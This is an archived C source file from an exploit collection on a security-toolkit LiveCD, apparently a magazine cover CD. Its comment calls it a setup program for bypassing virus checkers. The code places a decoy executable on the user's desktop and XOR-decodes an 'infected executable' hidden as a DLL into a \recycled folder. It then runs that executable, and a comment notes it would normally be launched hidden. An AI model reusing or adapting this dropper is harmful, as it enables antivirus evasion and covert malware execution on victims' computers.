home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Chip 2007 January, February, March & April
/
Chip-Cover-CD-2007-02.iso
/
Pakiet bezpieczenstwa
/
mini Pentoo LiveCD 2006.1
/
mpentoo-2006.1.iso
/
livecd.squashfs
/
opt
/
pentoo
/
ExploitTree
/
system
/
microsoft
/
local
/
setup.c
< prev
next >
Wrap
C/C++ Source or Header
|
2005-02-12
|
2KB
|
87 lines
/* Setup program for bypassing virus checkers */
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <dir.h>
#include <io.h>
#include <stdio.h>
#include <windows.h>
#define SOURCE_FILE ".\\winsetup.dll"
#define DEST_FILE "\\recycled\\eicar.com"
#define DECOY_FILE ".\\decoy.exe"
#define DECOY_DIR_KEY
"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders"
#define DECOY_DIR_VAL "Desktop"
#define BUFSIZE 4096
#define XORME 25
int PASCAL WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR
lpszCmdLine, int nCmdShow)
{
int sourcefile, destfile, bytesin,i;
char buffer[BUFSIZE],szDirName[256],szDecoyDir[512];
long lerror;
HKEY regkey;
DWORD ValSize = sizeof(szDirName); /* How annoying */
/* Find out where the desktop is so we can put the decoy there */
if((lerror =
RegOpenKeyEx(HKEY_CURRENT_USER,DECOY_DIR_KEY,0,KEY_QUERY_VALUE,®key))
!= ERROR_SUCCESS)
{
exit(0);
}
if((lerror =
RegQueryValueEx(regkey,DECOY_DIR_VAL,0,NULL,&szDirName[0],&ValSize)) !=
ERROR_SUCCESS)
{
exit(0);
}
RegCloseKey(regkey);
/* Expand the dir name on the off chance it contains ENV vars */
ExpandEnvironmentStrings(&szDirName[0],&szDecoyDir[0],sizeof(szDecoyDir));
rename(DECOY_FILE,strcat(szDecoyDir,DECOY_FILE));
/* It doesn't matter what mkdir's return code is. It'll make the dir if
it
doesn't exist or fail of it does */
mkdir("\\recycled");
/* Prepare to "decrypt" the infected executable */
if((sourcefile = open(SOURCE_FILE,O_RDONLY | O_BINARY)) == -1)
{
exit(0);
}
if((destfile = open(DEST_FILE,O_WRONLY | O_CREAT | O_EXCL | O_BINARY,
S_IREAD | S_IWRITE)) == -1)
{
exit(0);
}
/* "Decrypt" it */
while((bytesin = read(sourcefile,&buffer[0],BUFSIZE)) != 0)
{
for(i=0;i<bytesin;i++)
{
buffer[i] ^= XORME;
}
write(destfile,&buffer[0],bytesin);
}
close(sourcefile);
close(destfile);
/* Run the infected executable. You would normally use SW_HIDE here. */
WinExec(DEST_FILE,SW_SHOWNORMAL);
return(0);
}